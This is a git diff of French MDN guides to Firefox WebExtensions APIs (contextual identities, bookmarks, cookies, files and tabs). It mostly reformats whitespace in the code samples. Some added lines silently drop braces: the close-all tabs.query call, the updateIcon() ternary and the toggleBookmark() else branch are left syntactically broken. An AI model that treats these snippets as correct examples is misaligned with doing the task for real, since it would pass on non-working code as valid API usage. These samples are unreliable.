createOptions(row, identity); - div.appendChild(row); - } - }); + for (let identity of identities) { + let row = document.createElement('div'); + let span = document.createElement('span'); + span.className = 'identity'; + span.innerText = identity.name; + span.style = `color: ${identity.color}`; + console.log(identity); + row.appendChild(span); + createOptions(row, identity); + div.appendChild(row); + } + }); } function createOptions(node, identity) { - for (let option of ['Create', 'Close All']) { - let a = document.createElement('a'); - a.href = '#'; - a.innerText = option; - a.dataset.action = option.toLowerCase().replace(' ', '-'); - a.dataset.identity = identity.cookieStoreId; - a.addEventListener('click', eventHandler); - node.appendChild(a); - } + for (let option of ['Create', 'Close All']) { + let a = document.createElement('a'); + a.href = '#'; + a.innerText = option; + a.dataset.action = option.toLowerCase().replace(' ', '-'); + a.dataset.identity = identity.cookieStoreId; + a.addEventListener('click', eventHandler); + node.appendChild(a); + } } ``` @@ -151,25 +151,25 @@ function eventHandler(event) { Si l'utilisateur clique sur l'option permettant de créer un onglet pour une identité, l'un d'entre eux est ouvert à l'aide de tabs.create en transmettant l'ID de cookie de l'identité. ```json - if (event.target.dataset.action == 'create') { - browser.tabs.create({ - url: 'about:blank', - cookieStoreId: event.target.dataset.identity - }); - } + if (event.target.dataset.action == 'create') { + browser.tabs.create({ + url: 'about:blank', + cookieStoreId: event.target.dataset.identity + }); + } ``` Si l'utilisateur sélectionne l'option permettant de fermer tous les onglets pour l'identité, le script exécute une tabs.query pour tous les onglets qui utilisent le cookie store de l'identité. Le script passe ensuite cette liste d'onglets à `tabs.remove`. ```json - if (event.target.dataset.action == 'close-all') { - browser.tabs.query({ - cookieStoreId: event.target.dataset.identity - }).then((tabs) => { - browser.tabs.remove(tabs.map((i) => i.id)); - }); - } - event.preventDefault(); + if (event.target.dataset.action == 'close-all') { + browser.tabs.query({ + cookieStoreId: event.target.dataset.identity + ).then((tabs) => { + browser.tabs.remove(tabs.map((i) => i.id)); + }); + } + event.preventDefault(); } ``` diff --git a/files/fr/mozilla/add-ons/webextensions/work_with_the_bookmarks_api/index.md b/files/fr/mozilla/add-ons/webextensions/work_with_the_bookmarks_api/index.md index ac338a2697..461e491535 100644 --- a/files/fr/mozilla/add-ons/webextensions/work_with_the_bookmarks_api/index.md +++ b/files/fr/mozilla/add-ons/webextensions/work_with_the_bookmarks_api/index.md @@ -21,7 +21,7 @@ Pour utiliser l'API Bookmarks, vous devez demander la permission `"bookmarks"` d ```json "permissions": [ - "bookmarks" + "bookmarks" ], ``` @@ -41,7 +41,7 @@ L'API Bookmarks permet à votre extension de faire ce que les utilisateurs peuve - Obtention d'une liste de signets récemment ajoutés ({{WebExtAPIRef("bookmarks.getRecent")}}). - Signet la manipulation de l'arborescence des dossiers pour : - - Obtenir des informations sur l'arborescence ({{WebExtAPIRef("bookmarks.getTree")}}, {{WebExtAPIRef("bookmarks.getChildren")}}, and {{WebExtAPIRef("bookmarks.getSubTree")}}). + - Obtenir des informations sur l'arborescence ({{WebExtAPIRef("bookmarks.getTree")}}, {{WebExtAPIRef("bookmarks.getChildren")}}, and {{WebExtAPIRef("bookmarks.getSubTree")}}). - Ajouter des branches ({{WebExtAPIRef("bookmarks.create")}}). - Supprimer des noeuds ({{WebExtAPIRef("bookmarks.removeTree")}}). - Déplacer des nœuds ({{WebExtAPIRef("bookmarks.move")}}). @@ -61,7 +61,7 @@ L'API Bookmarks permet à votre extension de faire ce que les utilisateurs peuve ## Exemple de procédure pas à pas -Pour comprendre comment utiliser l'API Bookmarks, jetons un coup d'œil à l'exemple [bookmark-it](https://github.com/mdn/webextensions-examples/tree/master/bookmark-it). Cet exemple ajoute une icône de barre d'outils ({{WebExtAPIRef("browserAction")}}) lorsqu'on clique dessus, ajoute ou supprime la page en cours des signets. Si la page est mise en signet (ou supprimée des signets) d'une autre manière, l'icône est mise à jour pour montrer l'état du signet de la page. +Pour comprendre comment utiliser l'API Bookmarks, jetons un coup d'œil à l'exemple [bookmark-it](https://github.com/mdn/webextensions-examples/tree/master/bookmark-it). Cet exemple ajoute une icône de barre d'outils ({{WebExtAPIRef("browserAction")}}) lorsqu'on clique dessus, ajoute ou supprime la page en cours des signets. Si la page est mise en signet (ou supprimée des signets) d'une autre manière, l'icône est mise à jour pour montrer l'état du signet de la page. Cette vidéo montre l'extension en action : @@ -73,46 +73,46 @@ Le [manifest.json](https://github.com/mdn/webextensions-examples/blob/master/boo ```json { - "manifest_version": 2, - "name": "Bookmark it!", - "version": "1.1", - "description": "A simple bookmark button", - "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/bookmark-it", + "manifest_version": 2, + "name": "Bookmark it!", + "version": "1.1", + "description": "A simple bookmark button", + "homepage_url": "https://github.com/mdn/webextensions-examples/tree/master/bookmark-it", ``` Définit les icônes qui seront utilisées pour représenter l'extension, dans des endroits tels que le gestionnaire de modules complémentaires. ```json - "icons": { - "48": "icons/bookmark-it.png", - "96": "icons/bookmark-it@2x.png" - }, + "icons": { + "48": "icons/bookmark-it.png", + "96": "icons/bookmark-it@2x.png" + }, ``` Demande des permissions. `"bookmarks"` est demandé pour permettre l'utilisation de l'API Bookmarks. Des `"onglets"` sont demandés afin que l'URL et le titre de l'onglet actif puissent être lus et utilisés pour créer ou rechercher le signet de la page. Le besoin de l'API Tabs pour accéder à ces détails signifie que vous ne pouvez pas utiliser l'API Bookmark sans l'API Tabs. ```json - "permissions": [ - "bookmarks", - "tabs" - ], + "permissions": [ + "bookmarks", + "tabs" + ], ``` Définit les détails du bouton de la barre d'outils de base. La plupart des fonctionnalités du bouton seront configurées dans le code une fois que le statut du signet de la page sera connu. ```json - "browser_action": { - "default_icon": "icons/star-empty-38.png", - "default_title": "Bookmark it!" - }, + "browser_action": { + "default_icon": "icons/star-empty-38.png", + "default_title": "Bookmark it!" + }, ``` Définit le script d'arrière-plan qui ajoutera et supprimera le signet de la page et définira les caractéristiques du bouton de la barre d'outils. ```json - "background": { - "scripts": ["background.js"] - } + "background": { + "scripts": ["background.js"] + } } ``` @@ -122,58 +122,58 @@ Définit le script d'arrière-plan qui ajoutera et supprimera le signet de la pa Comme pour tout script d'arrière-plan, [background.js](https://github.com/mdn/webextensions-examples/blob/master/bookmark-it/background.js)est exécuté dès que l'extension est démarrée. Initialement, le script appelle `updateActiveTab()` qui commence par obtenir l'objet `Tabs` pour l'onglet en cours, en utilisant {{WebExtAPIRef("tabs.query")}}, et en passant l'objet à `updatetab()` avec ce code : ```js - var gettingActiveTab = browser.tabs.query({active: true, currentWindow: true}); - gettingActiveTab.then(updateTab); + var gettingActiveTab = browser.tabs.query({active: true, currentWindow: true}); + gettingActiveTab.then(updateTab); ``` `updatetab()` passe d'abord l'URL de l'onglet actif à `isSupportedProtocol()`: ```js - function updateTab(tabs) { - if (tabs[0]) { - currentTab = tabs[0]; - if (isSupportedProtocol(currentTab.url)) { + function updateTab(tabs) { + if (tabs[0]) { + currentTab = tabs[0]; + if (isSupportedProtocol(currentTab.url)) { ``` `isSupportedProtocol()` determines if the URL displayed in the active tab is one that can be bookmarked. To extract the protocol from the tab’s URL, the extension takes advantage of the [HTMLHyperlinkElementUtils](/fr/docs/Web/API/HTMLHyperlinkElementUtils) by adding the tab’s URL to an `<a>` element and then getting the protocol using the `protocol` property. ```js - function isSupportedProtocol(urlString) { - var supportedProtocols = ["https:", "http:", "ftp:", "file:"]; - var url = document.createElement('a'); - url.href = urlString; - return supportedProtocols.indexOf(url.protocol) != -1; - } + function isSupportedProtocol(urlString) { + var supportedProtocols = ["https:", "http:", "ftp:", "file:"]; + var url = document.createElement('a'); + url.href = urlString; + return supportedProtocols.indexOf(url.protocol) != -1; + } ``` Si le protocole est pris en charge par les signets, l'extension détermine si l'URL de l'onglet est déjà référencée et si c'est le cas, appelle `updateIcon()`: ```js - var searching = browser.bookmarks.search({url: currentTab.url}); - searching.then((bookmarks) => { - currentBookmark = bookmarks[0]; - updateIcon(); + var searching = browser.bookmarks.search({url: currentTab.url}); + searching.then((bookmarks) => { + currentBookmark = bookmarks[0]; + updateIcon(); ``` `updateIcon()` définit l'icône et le titre du bouton de la barre d'outils, selon que l'URL est mise en signet ou non. ```js function updateIcon() { - browser.browserAction.setIcon({ - path: currentBookmark ? { - 19: "icons/star-filled-19.png", - 38: "icons/star-filled-38.png" - } : { - 19: "icons/star-empty-19.png", - 38: "icons/star-empty-38.png" - }, - tabId: currentTab.id - }); - browser.browserAction.setTitle({ - // Screen readers can see the title - title: currentBookmark ? 'Unbookmark it!' : 'Bookmark it!', - tabId: currentTab.id - }); + browser.browserAction.setIcon({ + path: currentBookmark ? { + 19: "icons/star-filled-19.png", + 38: "icons/star-filled-38.png" + : { + 19: "icons/star-empty-19.png", + 38: "icons/star-empty-38.png" + }, + tabId: currentTab.id + }); + browser.browserAction.setTitle({ + // Screen readers can see the title + title: currentBookmark ? 'Unbookmark it!' : 'Bookmark it!', + tabId: currentTab.id + }); } ``` @@ -187,11 +187,11 @@ browser.browserAction.onClicked.addListener(toggleBookmark); ```js function toggleBookmark() { - if (currentBookmark) { - browser.bookmarks.remove(currentBookmark.id); - } else { - browser.bookmarks.create({title: currentTab.title, url: currentTab.url}); - } + if (currentBookmark) { + browser.bookmarks.remove(currentBookmark.id); + else { + browser.bookmarks.create({title: currentTab.title, url: currentTab.url}); + } } ``` diff --git a/files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.md b/files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.md index 9231946132..185b3206b1 100644 --- a/files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.md +++ b/files/fr/mozilla/add-ons/webextensions/work_with_the_cookies_api/index.md @@ -20,7 +20,7 @@ Avec l'API Cookies, vos extensions ont accès à des fonctionnalités similaires ## Permissions -Pour utiliser l'API Cookies, vous devez demander à la fois la permission `"cookies"` et les [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour les protocoles, domaines, ou sites web auxquels vous souhaitez accéder ou utiliser `"<all_urls>"` pour accéder à tous les protocoles et domaines. La façon dont vous définissez votre chaîne de permission d'hôte affecte la capacité de votre extension à lire, écrire et supprimer les cookies. +Pour utiliser l'API Cookies, vous devez demander à la fois la permission `"cookies"` et les [permissions d'hôte](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) pour les protocoles, domaines, ou sites web auxquels vous souhaitez accéder ou utiliser `"<all_urls>"` pour accéder à tous les protocoles et domaines. La façon dont vous définissez votre chaîne de permission d'hôte affecte la capacité de votre extension à lire, écrire et supprimer les cookies. <table> <colgroup> @@ -126,10 +126,10 @@ Cet exemple utilise également les API Tabs et Runtime, mais nous ne discuterons The key feature of the [manifest.json](https://github.com/mdn/webextensions-examples/blob/master/cookie-bg-picker/manifest.json) file relating to the use of the Cookies API is the permissions request: ```json - "permissions": [ - "tabs", - "cookies", - "<all_urls>" + "permissions": [ + "tabs", + "cookies", + "<all_urls>" ], ``` @@ -151,32 +151,32 @@ Il boucle ensuite à travers tous les boutons en leur assignant leur image et en ```js for(var i = 0; i < bgBtns.length; i++) { - var imgName = bgBtns[i].getAttribute('class'); - var bgImg = 'url(\'images/' + imgName + '.png\')'; - bgBtns[i].style.backgroundImage = bgImg; - - bgBtns[i].onclick = function(e) { + var imgName = bgBtns[i].getAttribute('class'); + var bgImg = 'url(\'images/' + imgName + '.png\')'; + bgBtns[i].style.backgroundImage = bgImg; + + bgBtns[i].onclick = function(e) { ``` Quand un bouton est cliqué, sa fonction d'écouteur correspondante obtient le nom de classe de bouton et ensuite le chemin d'icône qu'il passe au script de contenu de la page ([updatebg.js](https://github.com/mdn/webextensions-examples/blob/master/cookie-bg-picker/content_scripts/updatebg.js)) en utilisant un message. Le script de contenu applique ensuite l'icône à l'arrière-plan de la page Web. Pendant ce temps, [bgpicker.js](https://github.com/mdn/webextensions-examples/blob/master/cookie-bg-picker/popup/bgpicker.js) stocke les détails de l'icône appliquée à l'arrière-plan dans un cookie : ```js - cookieVal.image = fullURL; - browser.cookies.set({ - url: tabs[0].url, - name: "bgpicker", - value: JSON.stringify(cookieVal) - }) + cookieVal.image = fullURL; + browser.cookies.set({ + url: tabs[0].url, + name: "bgpicker", + value: JSON.stringify(cookieVal) + }) ``` Le paramètre de couleur est traité de la même manière, déclenché par un écouteur dans le champ de saisie de couleur. Lorsqu'une couleur est entrée, l'onglet actif est découvert et les détails de sélection de couleur envoyés, à l'aide d'un message, au script de contenu de la page à appliquer à l'arrière-plan de la page Web. Ensuite, la sélection de couleur est ajoutée au cookie : ```js - cookieVal.color = currColor; - browser.cookies.set({ - url: tabs[0].url, - name: "bgpicker", - value: JSON.stringify(cookieVal) + cookieVal.color = currColor; + browser.cookies.set({ + url: tabs[0].url, + name: "bgpicker", + value: JSON.stringify(cookieVal) ``` Lorsque l'utilisateur clique sur le bouton de réinitialisation qui a été affecté à la réinitialisation de la variable : @@ -188,45 +188,45 @@ var reset = document.querySelector('.color-reset button'); `reset.onclick` trouve d'abord l'onglet actif. Ensuite, en utilisant l'ID de l'onglet, il transmet un message au script de contenu de la page ([updatebg.js](https://github.com/mdn/webextensions-examples/blob/master/cookie-bg-picker/content_scripts/updatebg.js)) pour qu'il supprime l'icône et la couleur de la page. La fonction efface ensuite les valeurs de cookie (de sorte que les anciennes valeurs ne sont pas reportées et écrites sur un cookie créé pour une nouvelle icône ou sélection de couleur sur la même page) avant de supprimer le cookie : ```js - cookieVal = { image : '', - color : '' }; - browser.cookies.remove({ - url: tabs[0].url, - name: "bgpicker" + cookieVal = { image : '', + color : '' }; + browser.cookies.remove({ + url: tabs[0].url, + name: "bgpicker" ``` Aussi, afin que vous puissiez voir ce qui se passe avec les cookies, le script rend compte de toutes les modifications apportées aux cookies dans la console : ```js browser.cookies.onChanged.addListener((changeInfo) => { - console.log(`Cookie changed:\n - * Cookie: ${JSON.stringify(changeInfo.cookie)}\n - * Cause: ${changeInfo.cause}\n - * Removed: ${changeInfo.removed}`); - }); + console.log(`Cookie changed:\n + * Cookie: ${JSON.stringify(changeInfo.cookie)}\n + * Cause: ${changeInfo.cause}\n + * Removed: ${changeInfo.removed}`); + }); ``` ### Scripts—background.js -Un script d'arrière-plan ([background.js](https://github.com/mdn/webextensions-examples/blob/master/cookie-bg-picker/background_scripts/background.js)) permet à l'utilisateur de choisir une icône d'arrière-plan et une couleur pour le site Web dans une session antérieure. Le script est à l'écoute des changements dans l'onglet actif, que ce soit l'utilisateur qui passe d'un onglet à l'autre ou modifie l'URL de la page affichée dans l'onglet. Lorsque l'un de ces événements se produit, `cookieUpdate()` est appelée. `cookieUpdate()` utilise à son tour `getActiveTab()` pour obtenir l'ID de l'onglet actif. La fonction peut ensuite vérifier si un cookie existe pour l'extension, en utilisant l'URL de l'onglet : +Un script d'arrière-plan ([background.js](https://github.com/mdn/webextensions-examples/blob/master/cookie-bg-picker/background_scripts/background.js)) permet à l'utilisateur de choisir une icône d'arrière-plan et une couleur pour le site Web dans une session antérieure. Le script est à l'écoute des changements dans l'onglet actif, que ce soit l'utilisateur qui passe d'un onglet à l'autre ou modifie l'URL de la page affichée dans l'onglet. Lorsque l'un de ces événements se produit, `cookieUpdate()` est appelée. `cookieUpdate()` utilise à son tour `getActiveTab()` pour obtenir l'ID de l'onglet actif. La fonction peut ensuite vérifier si un cookie existe pour l'extension, en utilisant l'URL de l'onglet : ```js - var gettingCookies = browser.cookies.get({ - url: tabs[0].url, - name: "bgpicker" - }); + var gettingCookies = browser.cookies.get({ + url: tabs[0].url, + name: "bgpicker" + }); ``` Si le cookie `"bgpicker"` existe pour le site Web, les détails de l'icône et de la couleur sélectionnés précédemment sont récupérés et transmis au script de contenu [updatebg.js](https://github.com/mdn/webextensions-examples/blob/master/cookie-bg-picker/content_scripts/updatebg.js) à l'aide de messages : ```js - gettingCookies.then((cookie) => { - if (cookie) { - var cookieVal = JSON.parse(cookie.value); - browser.tabs.sendMessage(tabs[0].id, {image: cookieVal.image}); - browser.tabs.sendMessage(tabs[0].id, {color: cookieVal.color}); - } - }); + gettingCookies.then((cookie) => { + if (cookie) { + var cookieVal = JSON.parse(cookie.value); + browser.tabs.sendMessage(tabs[0].id, {image: cookieVal.image}); + browser.tabs.sendMessage(tabs[0].id, {color: cookieVal.color}); + } + }); ``` ## Autres caractéristiques diff --git a/files/fr/mozilla/add-ons/webextensions/working_with_files/index.md b/files/fr/mozilla/add-ons/webextensions/working_with_files/index.md index 28d4a62750..849e13710f 100644 --- a/files/fr/mozilla/add-ons/webextensions/working_with_files/index.md +++ b/files/fr/mozilla/add-ons/webextensions/working_with_files/index.md @@ -49,7 +49,7 @@ API références : [HTML input element](/fr/docs/Web/HTML/Element/input/file) | ## Ouverture de fichiers dans une extension avec glisser-déposer -L'API Web Drag and Drop offre une alternative à l'utilisation d'un sélecteur de fichiers. Pour utiliser cette méthode, établissez une zone de stockage qui correspond à votre interface utilisateur, puis ajoutez les récepteurs pour les évènements[ dragenter](/fr/docs/Web/Events/dragenter) _(entrer)_,[ dragover](/fr/docs/Web/Events/dragover) _(glisser)_, et[ drop](/fr/docs/Web/Events/drop) _(déposer)_. Dans le gestionnaire de l'événement "déposer", votre code peut accéder à tout fichier déposé par l'utilisateur à partir de l'objet offert par la propriété dataTransfer en utilisant [DataTransfer.files](/fr/docs/Web/API/DataTransfer/files). Votre code peut alors accéder aux fichiers et les traiter en utilisant le [DOM File API](/fr/docs/Web/API/File). +L'API Web Drag and Drop offre une alternative à l'utilisation d'un sélecteur de fichiers. Pour utiliser cette méthode, établissez une zone de stockage qui correspond à votre interface utilisateur, puis ajoutez les récepteurs pour les évènements[ dragenter](/fr/docs/Web/Events/dragenter) _(entrer)_,[ dragover](/fr/docs/Web/Events/dragover) _(glisser)_, et[ drop](/fr/docs/Web/Events/drop) _(déposer)_. Dans le gestionnaire de l'événement "déposer", votre code peut accéder à tout fichier déposé par l'utilisateur à partir de l'objet offert par la propriété dataTransfer en utilisant [DataTransfer.files](/fr/docs/Web/API/DataTransfer/files). Votre code peut alors accéder aux fichiers et les traiter en utilisant le [DOM File API](/fr/docs/Web/API/File). Exemple : [Imagify](https://github.com/mdn/webextensions-examples/tree/master/imagify) Guides : [Using files from web applications](/fr/docs/Using_files_from_web_applications) | [File drag and drop](/fr/docs/Web/API/HTML_Drag_and_Drop_API/File_drag_and_drop) @@ -59,7 +59,7 @@ API référence : [DOM File API](/fr/docs/Web/API/File) Si votre extension doit enregistrer des fichiers localement, [idb-file-storage library](https://www.npmjs.com/package/idb-file-storage) fournit une simple enveloppe de [IndexedDB API](/fr/docs/Web/API/API_IndexedDB) pour faciliter le stockage et la récupération des fichiers et des blobs . -Sur Firefox, cette bibliothèque fournit également un " Promise-based API wrapper" pour l'API IDBMutableFile non standard. (L'API IDBMutableFile permet aux extensions de créer et de maintenir un fichier objet de base de données IndexedDB qui fournit une API pour lire et modifier le contenu du fichier sans charger tout le fichier dans la mémoire.) +Sur Firefox, cette bibliothèque fournit également un " Promise-based API wrapper" pour l'API IDBMutableFile non standard. (L'API IDBMutableFile permet aux extensions de créer et de maintenir un fichier objet de base de données IndexedDB qui fournit une API pour lire et modifier le contenu du fichier sans charger tout le fichier dans la mémoire.) Les principales caractéristiques de la bibliothèque sont les suivantes : @@ -95,15 +95,15 @@ async function saveCollectedBlobs(collectionName, collectedBlobs) { ```js export async function loadStoredImages(filter) { - const imagesStore = await getFileStorage({name: "stored-images"}); - let listOptions = filter ? {includes: filter} : undefined; - const imagesList = await imagesStore.list(listOptions); - let storedImages = []; - for (const storedName of imagesList) { - const blob = await imagesStore.get(storedName); - storedImages.push({storedName, blobUrl: URL.createObjectURL(blob)}); - } - return storedImages; + const imagesStore = await getFileStorage({name: "stored-images"}); + let listOptions = filter ? {includes: filter} : undefined; + const imagesList = await imagesStore.list(listOptions); + let storedImages = []; + for (const storedName of imagesList) { + const blob = await imagesStore.get(storedName); + storedImages.push({storedName, blobUrl: URL.createObjectURL(blob)}); + } + return storedImages; } ``` @@ -115,22 +115,22 @@ Notez l'utilisation de [URL.createObjectURL(blob)](/fr/docs/Web/API/URL/createOb ```js async function removeStoredImages(storedImages) { - const imagesStore = await getFileStorage({name: "stored-images"}); - for (const storedImage of storedImages) { - URL.revokeObjectURL(storedImage.blobUrl); - await imagesStore.remove(storedImage.storedName); - } + const imagesStore = await getFileStorage({name: "stored-images"}); + for (const storedImage of storedImages) { + URL.revokeObjectURL(storedImage.blobUrl); + await imagesStore.remove(storedImage.storedName); + } } ``` -`removeStoredImages` est appelé lorsque l'utilisateur clique sur "Delete" _(supprimer)_ dans la page de navigation de la collection. À nouveau, `getFileStorage`ouvre la base de données “stored-images” et `imagesStore.remove` supprime chaque image à partir de la liste filtrée des images. +`removeStoredImages` est appelé lorsque l'utilisateur clique sur "Delete" _(supprimer)_ dans la page de navigation de la collection. À nouveau, `getFileStorage`ouvre la base de données “stored-images” et `imagesStore.remove` supprime chaque image à partir de la liste filtrée des images. Notez l'utilisation de [URL.revokeObjectURL()](/fr/docs/Web/API/URL/revokeObjectURL) pour révoquer explicitement l'URL du blob. Cela permet de libérer la mémoire allouée à l'URL. Si cela n'est pas fait, la mémoire n'est pas libérée jusqu'à ce que la page sur laquelle l'URL a été créée soit fermée. Si l'URL a été créée dans la page d'arrière-plan d'une extension, celle-ci n'est pas déchargée jusqu'à ce que l'extension soit désactivée, désinstallée ou rechargée, ce qui risque d'affecter inutilement les performances du navigateur. Si l'URL est créée dans la page d'une extension (nouvel onglet, fenêtre contextuelle ou barre latérale), la mémoire est libérée lorsque la page est fermée, mais il demeure de bonne pratique de révoquer l'URL lorsqu'elle n'est plus nécessaire. Une fois que l'URL du blob a été révoquée, toute tentative de la charger entraînera une erreur. Par exemple, si l'URL du blob était utilisée comme attribut `SRC` d'un `IMG` tag, l'image ne sera pas chargée et ne sera pas visible. Il est donc recommandé de supprimer les URL de blobs révoquées des éléments HTML générés après leur révocation. Exemple : [Store Collected Images](https://github.com/mdn/webextensions-examples/tree/master/store-collected-images/webextension-plain) -API Référence : [idb-file-storage library](https://rpl.github.io/idb-file-storage/) +API Référence : [idb-file-storage library](https://rpl.github.io/idb-file-storage/) > **Note :** Vous pouvez également utiliser l' [IndexedDB API](/fr/docs/Web/API/API_IndexedDB) pour stocker des données de votre extension. Cela peut être utile lorsque vous devez stocker des données qui ne sont pas bien gérées par les paires de clés / valeurs simples offertes par le DOM [Storage API](/fr/Add-ons/WebExtensions/API/Storage). diff --git a/files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.md b/files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.md index 2efd0a1a8d..b2f03f1655 100644 --- a/files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.md +++ b/files/fr/mozilla/add-ons/webextensions/working_with_the_tabs_api/index.md @@ -25,14 +25,14 @@ Dans cet article, nous allons regarder : Nous concluons ensuite en examinant d'autres fonctionnalités diverses offertes par l'API. -> **Note :** Certaines fonctionnalités de l'API d'onglet sont couvert ailleurs. Voici les méthodes que vous pouvez utiliser pour manipuler le contenu de l'onglet avec des scripts ({{WebExtAPIRef("tabs.connect")}}, {{WebExtAPIRef("tabs.sendMessage")}}, et {{WebExtAPIRef("tabs.executeScript")}}). Si vous voulez plus d'informations sur ces méthodes, reportez-vous à l'article [scripts de contenu](/fr/Add-ons/WebExtensions/Content_scripts) et le guide pratique [modifier une page web](/fr/Add-ons/WebExtensions/Modify_a_web_page). +> **Note :** Certaines fonctionnalités de l'API d'onglet sont couvert ailleurs. Voici les méthodes que vous pouvez utiliser pour manipuler le contenu de l'onglet avec des scripts ({{WebExtAPIRef("tabs.connect")}}, {{WebExtAPIRef("tabs.sendMessage")}}, et {{WebExtAPIRef("tabs.executeScript")}}). Si vous voulez plus d'informations sur ces méthodes, reportez-vous à l'article [scripts de contenu](/fr/Add-ons/WebExtensions/Content_scripts) et le guide pratique [modifier une page web](/fr/Add-ons/WebExtensions/Modify_a_web_page). ## Permissions et l'API Tabs Pour la majorité des fonctions de l'API Tabs, vous n'avez besoin d'aucune autorisation. Cependant, il y a certaines exceptions : -- permission `"tabs`" est nécessaire pour accéder aux propriétés de `Tab.url`, `Tab.title`, et `Tab.favIconUrl` de l'objet Tab. Dans Firefox, vous avez également besoin de `"tabs"` pour effectuer une [requête](/fr/Add-ons/WebExtensions/API/tabs/query) par URL. -- [persmission de l'hote](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) est nécessaire pour {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}}. +- permission `"tabs`" est nécessaire pour accéder aux propriétés de `Tab.url`, `Tab.title`, et `Tab.favIconUrl` de l'objet Tab. Dans Firefox, vous avez également besoin de `"tabs"` pour effectuer une [requête](/fr/Add-ons/WebExtensions/API/tabs/query) par URL. +- [persmission de l'hote](/fr/Add-ons/WebExtensions/manifest.json/permissions#Host_permissions) est nécessaire pour {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}}. Vous pouvez demander la permission `"tabs"` dans le fichier manifest.json de votre extension : @@ -43,7 +43,7 @@ Vous pouvez demander la permission `"tabs"` dans le fichier manifest.json de vot ], ``` -Cette requête vous permet d'utiliser toutes les fonctionnalités de l'API Tabs sur tous les sites Web que vos utilisateurs visitent. Il existe également une autre méthode pour demander la permission d'utiliser {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}} où vous n'avez pas besoin de la permission de l'hôte, sous la forme [`"activeTab"`](/fr/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission). Cette permission fournit les mêmes droits que les `"onglets"` avec `<all_urls>`, mais avec deux restrictions: +Cette requête vous permet d'utiliser toutes les fonctionnalités de l'API Tabs sur tous les sites Web que vos utilisateurs visitent. Il existe également une autre méthode pour demander la permission d'utiliser {{WebExtAPIRef("tabs.executeScript")}} ou {{WebExtAPIRef("tabs.insertCSS")}} où vous n'avez pas besoin de la permission de l'hôte, sous la forme [`"activeTab"`](/fr/Add-ons/WebExtensions/manifest.json/permissions#activeTab_permission). Cette permission fournit les mêmes droits que les `"onglets"` avec `<all_urls>`, mais avec deux restrictions: - l'utilisateur doit interagir avec l'extension via son navigateur ou l'action de la page, le menu contextuel ou la touche de raccourci. - il accorde uniquement la permission dans l'onglet actif.. @@ -56,11 +56,11 @@ Il y aura des occasions où vous voulez obtenir une liste de tous les onglets da C'est ici qu'intervient {{WebExtAPIRef("tabs.query")}}. Utilisé seul pour obtenir tous les onglets ou prendre l'objet `queryInfo` — pour spécifier des critères de requête tels que l'activation de l'onglet, dans la fenêtre en cours ou plus de 17 critères — {{WebExtAPIRef("tabs.query")}} renvoie un tableau d'objets {{WebExtAPIRef("tabs.Tab")}} objects contenant des informations sur les onglets. -Lorsque vous souhaitez uniquement obtenir des informations sur l'onglet en cours, vous pouvez obtenir un objet {{WebExtAPIRef("tabs.Tab")}} pour cet onglet à l'aide de {{WebExtAPIRef("tabs.getCurrent")}}. Si vous avez un ID d'onglet, vous pouvez obtenir son objet {{WebExtAPIRef("tabs.Tab")}} en utilisant {{WebExtAPIRef("tabs.get")}}. +Lorsque vous souhaitez uniquement obtenir des informations sur l'onglet en cours, vous pouvez obtenir un objet {{WebExtAPIRef("tabs.Tab")}} pour cet onglet à l'aide de {{WebExtAPIRef("tabs.getCurrent")}}. Si vous avez un ID d'onglet, vous pouvez obtenir son objet {{WebExtAPIRef("tabs.Tab")}} en utilisant {{WebExtAPIRef("tabs.get")}}. ### Par exemple -Pour voir comment {{WebExtAPIRef("tabs.query")}} et {{WebExtAPIRef("tabs.Tab")}} sont utilisés, voyons comment l'exemple [tabs-tabs-tabs](https://github.com/mdn/webextensions-examples/tree/master/tabs-tabs-tabs) ajoute la liste de “passer aux onglets” à son popup bouton de barre d'outils. +Pour voir comment {{WebExtAPIRef("tabs.query")}} et {{WebExtAPIRef("tabs.Tab")}} sont utilisés, voyons comment l'exemple [tabs-tabs-tabs](https://github.com/mdn/webextensions-examples/tree/master/tabs-tabs-tabs) ajoute la liste de “passer aux onglets” à son popup bouton de barre d'outils.  @@ -158,7 +158,7 @@ Tout d'abord, un gestionnaire d'événements est ajouté pour exécuter `listTab document.addEventListener("DOMContentLoaded", listTabs); ``` -La première chose que fait `listTabs()` est d'appeler `getCurrentWindowTabs()`, où {{WebExtAPIRef("tabs.query")}} est utilisé pour obtenur un objet {{WebExtAPIRef("tabs.Tab")}} pour le onglets dans la fenêtre courante : +La première chose que fait `listTabs()` est d'appeler `getCurrentWindowTabs()`, où {{WebExtAPIRef("tabs.query")}} est utilisé pour obtenur un objet {{WebExtAPIRef("tabs.Tab")}} pour le onglets dans la fenêtre courante : ```js function getCurrentWindowTabs() { @@ -173,7 +173,7 @@ Pour commencer : 1. Récupérer les `tabs-list` `div`. 2. Créer un fragment de document (dans lequel la liste sera construite). 3. Mettre les compteurs. -4. Effacer le contenu de `tabs-list` `div`. +4. Effacer le contenu de `tabs-list` `div`. ```js function listTabs() { @@ -191,7 +191,7 @@ Ensuite, nous allons créer les liens pour chaque onglet : 1. Boucle les 5 premiers éléments de l'objet {{WebExtAPIRef("tabs.Tab")}}. 2. Pour chaque poste, ajoutez un hyperlien vers le fragment de document. - - L'étiquette du lien, c'est-à-dire son texte, est définie à l'aide du titre de l'onglet (ou de l'ID, s'il n'a pas de titre). + - L'étiquette du lien, c'est-à-dire son texte, est définie à l'aide du titre de l'onglet (ou de l'ID, s'il n'a pas de titre). - L'adresse du lien est définie à l'aide de l'ID de l'onglet. ```js @@ -340,7 +340,7 @@ Il est intéressant de noter l'utilisation de console.log. Cela vous permet de g  -Le code de déplacement appelle d'abord `callOnActiveTab()` qui à son tour appelle `getCurrentWindowTabs()` pour obtenir un objet 